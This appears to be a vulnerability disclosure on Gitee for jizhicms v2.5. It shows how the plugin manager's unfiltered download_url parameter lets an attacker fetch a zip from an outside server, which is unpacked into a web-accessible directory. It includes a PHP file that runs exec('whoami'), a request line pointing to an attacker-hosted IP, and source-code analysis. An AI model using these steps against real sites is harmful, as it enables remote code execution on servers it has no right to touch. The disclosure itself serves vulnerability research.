jizhicms v2.5 Arbitrary download command execution

The vulnerability is located in: Extension Management - Plugin Lis
![输入图片说明](https://foruda.gitee.com/images/1702477325590286922/164c7ec7_11316020.png "屏幕截图")
Choose any plugin to download, [Burp Suite] captures data packets
![输入图片说明](https://foruda.gitee.com/images/1702477382786234276/f8ba1446_11316020.png "屏幕截图")
The controllable parameter is [download_URL]
Construct a special zip file
Create phprce.php with the following content:
`<?php
$result = exec('whoami');
echo '<pre>' . $result . '</pre>';
?>
`
![输入图片说明](https://foruda.gitee.com/images/1702477514728082810/964abdc1_11316020.png "屏幕截图")
Then compress it into a zip file
![输入图片说明](https://foruda.gitee.com/images/1702477541774699628/1ca7fa64_11316020.png "屏幕截图")
Upload to VPS and enable HTTP server
![输入图片说明](https://foruda.gitee.com/images/1702477573604589270/fa41fd6d_11316020.png "屏幕截图")
Download_ Change the parameters of the URL to the special zip we uploaded to VPS
![输入图片说明](https://foruda.gitee.com/images/1702477706871611397/5d15ea7b_11316020.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1702477713763338492/678b4357_11316020.png "屏幕截图")
Download successful

Vulnerability source code analysis:

Vulnerability location:/app/admin/c/PluginsController.php

![输入图片说明](https://foruda.gitee.com/images/1702477764638073828/916a7f02_11316020.png "屏幕截图")
Packet analysis 
action =start-download &filepath =apidata &download_url =http://8.134.178.243/phprce.zip

Search for start download in the source code
![输入图片说明](https://foruda.gitee.com/images/1702477839090027570/a81cd00d_11316020.png "屏幕截图")
Set to/app/admin/c/PluginsController.php
![输入图片说明](https://foruda.gitee.com/images/1702477873862075650/2e6f8b1e_11316020.png "屏幕截图")

Search for download_ URL
![输入图片说明](https://foruda.gitee.com/images/1702477904394089650/22290c75_11316020.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1702477914642484208/1dd16aa8_11316020.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1702477923697935619/58a3f47c_11316020.png "屏幕截图")

Follow up and check, at line 642,643, obtain the download address from the request parameter, but there is no response to the download_ Any filtering of the URL parameter may result in arbitrary requests for external resources due to vulnerabilities in the curl resource request code, leading to arbitrary file downloads

Download the zip file and then perform the decompression operation,
![输入图片说明](https://foruda.gitee.com/images/1702477981354668394/dee8c966_11316020.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1702477989456533559/5983d594_11316020.png "屏幕截图")
At line 700, the decompression is performed, and at line 705, the function is called to decompress. The decompressed file is stored in app/admin/exts/, following the previous decompression function get_ Zip_ Originalsize ($tmp path, $path)
![输入图片说明](https://foruda.gitee.com/images/1702478024556385156/22e38b60_11316020.png "屏幕截图")

839 behavior get_ Zip_ The originalsize ($tmp path, $path) function is used, so when action=file upzip, the decompression operation is performed
![输入图片说明](https://foruda.gitee.com/images/1702478057157113428/327cef20_11316020.png "屏幕截图")
Visit: www.jizhi.mm/app/admin/exts/phprce.php 
![输入图片说明](https://foruda.gitee.com/images/1702478086972957786/1aa7adc6_11316020.png "屏幕截图")

摆烂人/find_some_cms

内容风险标识

评论 (0)

摆烂人/find_some_cms .gitee-modal { width: 500px !important; }

内容风险标识